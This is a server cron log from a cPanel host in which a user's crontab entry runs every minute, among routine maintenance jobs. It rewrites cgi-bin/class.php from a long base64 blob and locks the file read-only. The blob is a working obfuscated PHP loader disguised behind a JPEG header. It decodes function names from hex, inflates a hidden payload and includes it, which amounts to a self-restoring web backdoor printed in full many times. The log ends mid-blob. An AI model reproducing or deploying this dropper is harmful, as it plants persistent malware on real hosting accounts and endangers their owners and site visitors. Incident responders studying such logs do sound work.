Sep  3 23:05:01 server CROND[20527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:05:01 server CROND[20529]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 23:05:01 server CROND[20530]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 23:05:01 server CROND[20532]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:05:01 server CROND[20531]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 23:05:01 server CROND[20534]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 23:05:01 server CROND[20528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:06:01 server CROND[21374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:06:01 server CROND[21377]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:06:01 server CROND[21376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:07:01 server CROND[21802]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:07:01 server CROND[21803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:07:01 server CROND[21804]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:08:01 server CROND[22177]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:08:01 server CROND[22178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:08:01 server CROND[22179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:09:01 server CROND[22568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:09:01 server CROND[22569]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 23:09:01 server CROND[22571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:09:01 server CROND[22570]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:10:01 server CROND[23236]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 23:10:01 server CROND[23238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:10:01 server CROND[23239]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 23:10:01 server CROND[23240]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 23:10:01 server CROND[23242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:10:01 server CROND[23244]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 23:10:01 server CROND[23245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:10:01 server CROND[23243]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 23:11:01 server CROND[24058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:11:01 server CROND[24059]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:11:01 server CROND[24060]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:12:01 server CROND[24429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:12:01 server CROND[24430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:12:01 server CROND[24431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:12:01 server CROND[24432]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 23:13:01 server CROND[24803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:13:01 server CROND[24805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:13:01 server CROND[24804]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:14:01 server CROND[25190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:14:01 server CROND[25191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:14:01 server CROND[25192]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:15:01 server CROND[25666]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 23:15:01 server CROND[25668]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 23:15:01 server CROND[25673]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 23:15:01 server CROND[25670]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 23:15:01 server CROND[25674]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 23:15:01 server CROND[25671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:15:01 server CROND[25675]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:15:01 server CROND[25672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:16:01 server CROND[26517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:16:01 server CROND[26518]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:16:01 server CROND[26519]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZa